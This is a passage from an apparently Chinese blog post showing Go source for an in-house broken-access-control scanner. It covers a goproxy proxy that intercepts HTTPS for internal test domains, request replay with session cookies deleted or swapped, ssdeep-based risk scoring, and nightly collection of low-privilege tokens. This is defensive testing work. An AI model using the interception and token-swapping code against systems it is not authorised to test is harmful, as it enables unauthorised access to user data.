ContainsString(static_types, r.ctype) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> ContainsString(media_types, r.mtype) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">GetContentType</span><span class="params">(HeradeCT <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">ct := strings.Split(HeradeCT, <span class="string">"; "</span>)[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">return</span> ct</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">GetExtension</span><span class="params">(path <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">SlicePath := strings.Split(path, <span class="string">"."</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(SlicePath) &gt; <span class="number">1</span> &#123;</span><br><span class="line"><span class="keyword">return</span> SlicePath[<span class="built_in">len</span>(SlicePath)<span class="number">-1</span>]</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="string">""</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ContainsString</span><span class="params">(sl []<span class="keyword">string</span>, v <span class="keyword">string</span>)</span> <span class="title">bool</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> _, vv := <span class="keyword">range</span> sl &#123;</span><br><span class="line"><span class="keyword">if</span> vv == v &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">PathExists</span><span class="params">(path <span class="keyword">string</span>)</span> <span class="params">(<span class="keyword">bool</span>, error)</span></span> &#123;</span><br><span class="line">_, err := os.Stat(path)</span><br><span class="line"><span class="keyword">if</span> err == <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> os.IsNotExist(err) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>, err</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"></span><br><span class="line"><span class="comment">//stopper_cpu := profile.Start(profile.CPUProfile, profile.ProfilePath("."))</span></span><br><span class="line"><span class="comment">//defer stopper_cpu.Stop()</span></span><br><span class="line"><span class="comment">//stopper_mem := profile.Start(profile.MemProfile, profile.ProfilePath("."))</span></span><br><span class="line"><span class="comment">//defer stopper_mem.Stop()</span></span><br><span class="line"><span class="comment">//stopper_mutex := profile.Start(profile.MutexProfile, profile.ProfilePath("."))</span></span><br><span class="line"><span class="comment">//defer stopper_mutex.Stop()</span></span><br><span class="line"><span class="comment">//stopper_block := profile.Start(profile.BlockProfile, profile.ProfilePath("."))</span></span><br><span class="line"><span class="comment">//defer stopper_block.Stop()</span></span><br><span class="line"></span><br><span class="line">fmt.Println(<span class="string">"Proxy start"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义代理日志目录</span></span><br><span class="line">_dir := <span class="string">"log"</span></span><br><span class="line">exist, err := PathExists(_dir)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">"get dir error![%v]\n"</span>, err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> exist &#123;</span><br><span class="line">fmt.Printf(<span class="string">"Proxy log dir -&gt; [%v]\n"</span>, _dir)</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">"No proxy log dir -&gt; [%v]\n"</span>, _dir)</span><br><span class="line"><span class="comment">// 创建代理目录</span></span><br><span class="line">err := os.Mkdir(_dir, os.ModePerm)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">"Mkdir proxy log failed![%v]\n"</span>, err)</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">fmt.Printf(<span class="string">"Mkdir proxy log success!\n"</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">verbose := flag.Bool(<span class="string">"v"</span>, <span class="literal">false</span>, <span class="string">"should every proxy request be logged to stdout"</span>)</span><br><span class="line">addr := flag.String(<span class="string">"l"</span>, <span class="string">":8080"</span>, <span class="string">"on which address should the proxy listen"</span>)</span><br><span class="line">flag.Parse()</span><br><span class="line">proxy := goproxy.NewProxyHttpServer()</span><br><span class="line">proxy.Verbose = *verbose</span><br><span class="line">log.Printf(<span class="string">"Listening %s \n"</span>, *addr)</span><br><span class="line">log.Printf(<span class="string">"proxy Start success... \n"</span>)</span><br><span class="line">log.Println(goproxy.ReqHostMatches())</span><br><span class="line">proxy.OnRequest(goproxy.ReqHostMatches(regexp.MustCompile(<span class="string">`^.*\.(test|dev)\.(gongsi|yuming)\.com:443$`</span>))).HandleConnect(goproxy.AlwaysMitm)</span><br><span class="line">proxy.OnRequest(goproxy.ReqHostMatches(regexp.MustCompile(<span class="string">`(.*\.(test|dev)\.(gongsi|yuming)\.com|10\.\d+\.\d+\.\d+)$`</span>))).DoFunc(handleRequest)</span><br><span class="line">proxy.OnResponse().DoFunc(handleResponse)</span><br><span class="line">log.Fatal(http.ListenAndServe(*addr, proxy))</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最终选择了goproxy，因为openresty相当于用nginx+lua开发，需要打补丁对https流量进行获取，打补丁后可以获取https的host，但始终无法获取请求体等。</p><p>Goproxy最终效果：<br>Charles+Http；Charles+Https；Burpsuite+Http；Burpsuite+Https均可以正常代理，数据进入消息队列。</p><h3 id="越权扫描器"><a href="#越权扫描器" class="headerlink" title="越权扫描器"></a>越权扫描器</h3><p>生产者流量有了，剩下就是核心越权扫描器引擎。</p><p>思路简单来说就是“换Cookie”，即替换请求凭证，这里可能是Cookie中的token字段值、可能是header中BA认证的字段值，每个公司的情况不一。我们公司叫token，你们公司可能叫session或者sid等，甚至可能还没统一的身份认证机制，那我们替换的就是整个cookie值。</p><p>这相当于根据“换Cookie”请求后响应的不同来判断是否存在越权，比如原始请求的响应为“phone=170221”，替换成别人cookie后的响应为仍然为“phone=170221”，那就极可能是一个越权漏洞，这也是大家常用来测试越权漏洞的方法（或者通过遍历参数，如orderid之类）。</p><h4 id="详细思路"><a href="#详细思路" class="headerlink" title="详细思路"></a>详细思路</h4><p><img src="/2020/12/14/bacscanner/bacrequest.jpg" alt="bacrequest"></p><p>1）围绕着“换Cookie”的核心，我们将原始请求的响应叫做ResponseA，删除ssoid的响应叫做ResponseB，替换ssoid后的响应叫做ResponseC。<br>2）进一步通过删除ssoid、替换ssoid，对重新封装的请求分别发包，对3个Response的对比判断是否存在越权漏洞。<br>3）对比的方法我这里做了一个取巧的方式，通过相似度匹配，相似度定义为风险值，即相似度越高风险值也越大，越权漏洞发生的可能性越大。相似度匹配的算法使用ssdeep（ssdeep也常用于webshell检测）。</p><h4 id="bacLogic-go"><a href="#bacLogic-go" class="headerlink" title="bacLogic.go"></a>bacLogic.go</h4><p>我们通过代码来梳理一下具体实现逻辑，在函数bacRequest中把流量日志logPayload反序列化成[]byte的json格式的reqLog，通过reqLog.RequestHeader取出header数据，然后通过processCookie函数，用change字符串“删”或“替换”作为入参判断，对header内关键的认证字段进行改变。接着下面代码会对原始请求取reqLog.Method判断是“GET”请求，还是“POST”请求，将改变后的header、原始reqLog.URL、原始的reqLog.RequestBody重发包，这时riskBac函数会对重发包的响应 []byte(r.String())与原始响应firstResp进行对比，计算riskValue风险值（相似度）。最后通过httpLogUpdate将需要的数据插入Mysql数据库做后续的结果展示等。<br><figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"encoding/json"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"github.com/imroc/req"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">bacRequest</span><span class="params">(logPayload <span class="keyword">string</span>, change <span class="keyword">string</span>, id <span class="keyword">int64</span>)</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> reqLog Response</span><br><span class="line"><span class="comment">//fmt.Println(string(logPayload))</span></span><br><span class="line"></span><br><span class="line">err := json.Unmarshal([]<span class="keyword">byte</span>(logPayload), &amp;reqLog) <span class="comment">//把流量日志logPayload反序列化成[]byte的json格式的reqLog</span></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">fmt.Println(<span class="string">"json Unmarshal failed:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//resJsonBool := strings.Contains(reqLog.ResponseHeader.Get("Content-Type"), "application/json")</span></span><br><span class="line">header, err := processCookie(reqLog.RequestHeader, change)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"处理header错误："</span>, err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">firstResp := []<span class="keyword">byte</span>(reqLog.ResponseBody) <span class="comment">// firstResp 是原始请求里的Response</span></span><br><span class="line"><span class="keyword">if</span> reqLog.Method == <span class="string">"GET"</span> &#123;</span><br><span class="line">r, _ := req.Get(reqLog.URL, header) <span class="comment">// Request请求开始</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//log.Println("修改请求的响应：",r.String()) //Mysql</span></span><br><span class="line">riskValue := riskBac(firstResp, []<span class="keyword">byte</span>(r.String()))</span><br><span class="line"><span class="comment">//log.Println("相似度的值为: ",riskValue)</span></span><br><span class="line">reqHeader, _ := json.Marshal(r.Request().Header)</span><br><span class="line"><span class="comment">//reqBody, err := json.Marshal(r.Request().Body) //空</span></span><br><span class="line">respHeader, _ := json.Marshal(r.Response().Header)</span><br><span class="line"><span class="comment">//log.Println(respHeader)</span></span><br><span class="line">httpLogUpdate(<span class="keyword">string</span>(reqHeader), reqLog.RequestBody, <span class="keyword">string</span>(respHeader), r.String(), id, change, riskValue)</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> reqLog.Method == <span class="string">"POST"</span> &#123;</span><br><span class="line"><span class="comment">// 1. 看Content-type，如果是json，就要用req的json方法请求；</span></span><br><span class="line">header.Del(<span class="string">"Content-Length"</span>)</span><br><span class="line">r, err := req.Post(reqLog.URL, header, reqLog.RequestBody)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"POST请求失败："</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">riskValue := riskBac(firstResp, []<span class="keyword">byte</span>(r.String()))</span><br><span class="line"></span><br><span class="line">reqHeader, _ := json.Marshal(r.Request().Header)</span><br><span class="line"><span class="comment">//reqBody, err := json.Marshal(r.Request().Body) //空</span></span><br><span class="line">respHeader, _ := json.Marshal(r.Response().Header)</span><br><span class="line"></span><br><span class="line">httpLogUpdate(<span class="keyword">string</span>(reqHeader), reqLog.RequestBody, <span class="keyword">string</span>(respHeader), r.String(), id, change, riskValue)</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> reqLog.Method == <span class="string">"OPTIONS"</span> &#123;</span><br><span class="line">r, err := req.Options(reqLog.URL, header, reqLog.RequestBody)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"OPTIONS请求失败："</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">riskValue := riskBac(firstResp, []<span class="keyword">byte</span>(r.String()))</span><br><span class="line"></span><br><span class="line">reqHeader, _ := json.Marshal(r.Request().Header)</span><br><span class="line"><span class="comment">//reqBody, err := json.Marshal(r.Request().Body) //空</span></span><br><span class="line">respHeader, _ := json.Marshal(r.Response().Header)</span><br><span class="line">httpLogUpdate(<span class="keyword">string</span>(reqHeader), reqLog.RequestBody, <span class="keyword">string</span>(respHeader), r.String(), id, change, riskValue)</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><h4 id="cookie-go"><a href="#cookie-go" class="headerlink" title="cookie.go"></a>cookie.go</h4><figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"github.com/go-redis/redis"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line"><span class="string">"regexp"</span></span><br><span class="line"><span class="string">"strings"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">getSSOid</span><span class="params">(keySsoid <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line"><span class="comment">// 建立redis连接</span></span><br><span class="line">client := redis.NewClient(&amp;redis.Options&#123;</span><br><span class="line">Addr:     appConfig.redisAddr,</span><br><span class="line">Password: appConfig.redisPass,</span><br><span class="line">DB:       <span class="number">1</span>,</span><br><span class="line">&#125;)</span><br><span class="line"><span class="keyword">defer</span> client.Close()</span><br><span class="line">ping, err := client.Ping().Result()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"Redis client connect failed ping status:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">log.Println(<span class="string">"ping status:"</span>, ping)</span><br><span class="line">ssoid, err := client.Get(keySsoid).Result()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"Get redis key value failed:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(ssoid) &lt; <span class="number">5</span> &#123;</span><br><span class="line">log.Println(<span class="string">"error: ssoid value length &lt; 5"</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="string">";"</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> ssoid</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">processCookie</span><span class="params">(headerInput http.Header, change <span class="keyword">string</span>)</span> <span class="params">(http.Header, error)</span></span> &#123;</span><br><span class="line">header := headerInput</span><br><span class="line"></span><br><span class="line"><span class="comment">// BA认证变更</span></span><br><span class="line">Access_token := header.Get(<span class="string">"access-token"</span>)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(Access_token) &gt; <span class="number">10</span> &#123;</span><br><span class="line"><span class="comment">// 删除Cookie</span></span><br><span class="line"><span class="keyword">if</span> change == <span class="string">"del"</span> &#123;</span><br><span class="line"><span class="comment">// 把ssoid的值全部替换为空并替换Header头中的Cookie字段</span></span><br><span class="line">header.Set(<span class="string">"access-token"</span>, <span class="string">""</span>)</span><br><span class="line"><span class="comment">//替换Cookie</span></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">newSSOid := getSSOid(change)</span><br><span class="line">header.Set(<span class="string">"access-token"</span>, newSSOid)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Cookie := header.Get(<span class="string">"Cookie"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 通过正则取出ssoid=xxx;</span></span><br><span class="line">reg := regexp.MustCompile(<span class="string">`[.\w]*(ssoid|SSOID|SSO_ID|sso_id|sso_sid|SSO_SID|TGCX)=[0-9a-zA-Z-_*]+`</span>)</span><br><span class="line"><span class="comment">//log.Println(reg.FindAllString(Cookie, -1))</span></span><br><span class="line">client_id := reg.FindAllString(Cookie, <span class="number">-1</span>)</span><br><span class="line"><span class="comment">//log.Println(client_id)</span></span><br><span class="line"><span class="comment">//log.Println(len(client_id))</span></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(client_id) &gt; <span class="number">0</span> &#123;</span><br><span class="line"><span class="keyword">for</span> _, ssoid_value := <span class="keyword">range</span> client_id &#123;</span><br><span class="line">cookieArray := strings.Split(ssoid_value, <span class="string">"="</span>) <span class="comment">//将cookie=abc;根据等号分割成数组[cookie abc]</span></span><br><span class="line"><span class="comment">//ssoid := cookieArray[0] // com.hello.it.ead.cihah_ssoid</span></span><br><span class="line">oldSsoidVal := cookieArray[<span class="number">1</span>] <span class="comment">// abc;</span></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(oldSsoidVal) &gt; <span class="number">20</span> &#123;</span><br><span class="line"><span class="comment">//删除Cookie</span></span><br><span class="line"><span class="keyword">if</span> change == <span class="string">"del"</span> &#123;</span><br><span class="line"><span class="comment">// 把ssoid的值全部替换为空并替换Header头中的Cookie字段</span></span><br><span class="line">Cookie = strings.Replace(Cookie, oldSsoidVal, <span class="string">";"</span>, <span class="number">-1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">//替换Cookie</span></span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (change == <span class="string">"ssoid-offline"</span>) || (change == <span class="string">"ssoid-online"</span>) &#123;</span><br><span class="line">newSSOid := getSSOid(change)</span><br><span class="line">Cookie = strings.Replace(Cookie, oldSsoidVal, newSSOid+<span class="string">";"</span>, <span class="number">-1</span>)</span><br><span class="line"></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">log.Println(<span class="string">"change 标识错误"</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">log.Println(<span class="string">"Cookie获取失败："</span>, cookieArray)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">header.Set(<span class="string">"Cookie"</span>, Cookie)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> header, <span class="literal">nil</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="risk-go"><a href="#risk-go" class="headerlink" title="risk.go"></a>risk.go</h4><figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"github.com/glaslos/ssdeep"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">//通过比较日志response和二次请求中的response相似作为越权风险值</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">riskBac</span><span class="params">(firstResp []<span class="keyword">byte</span>, afterResp []<span class="keyword">byte</span>)</span> <span class="title">int</span></span> &#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(firstResp) &lt; <span class="number">30</span> || <span class="built_in">len</span>(afterResp) &lt; <span class="number">30</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">30</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">h1, err := ssdeep.FuzzyBytes(firstResp)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"ssdeep h1 error:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//log.Println(h1)</span></span><br><span class="line">h2, err := ssdeep.FuzzyBytes(afterResp)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"ssdeep h2 error:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//log.Println(h2)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> score <span class="keyword">int</span></span><br><span class="line">score, err = ssdeep.Distance(h1, h2)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Println(<span class="string">"ssdeep distance failed."</span>)</span><br><span class="line">&#125;</span><br><span class="line">log.Println(score)</span><br><span class="line"><span class="keyword">return</span> score</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="“替换的cookie”来自哪里？crontab-go"><a href="#“替换的cookie”来自哪里？crontab-go" class="headerlink" title="“替换的cookie”来自哪里？crontab.go"></a>“替换的cookie”来自哪里？crontab.go</h4><p>用来做第三者的“替换cookie”也是极其重要的，它决定了在越权检测中准确性的高低。针对公司内网使用SSO进行认证的应用，我在公司申请了虚拟账号，将此账号的权限设置成最低，通过定时任务每天凌晨对认证服务进行一次请求，获取“鲜活”的cookie，用于替换和删除。</p><p>从下面代码可以看到每天凌晨1点，去走一次认证流程，将凭证存入redis，其中对业务进行了区分，比如SSO的应用，C端的应用生活费、助贷、分期，对C端不同业务制造出不同状态的账号。为什么要这样？我将在文章最后进行简单解释。</p><figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"errors"</span></span><br><span class="line"><span 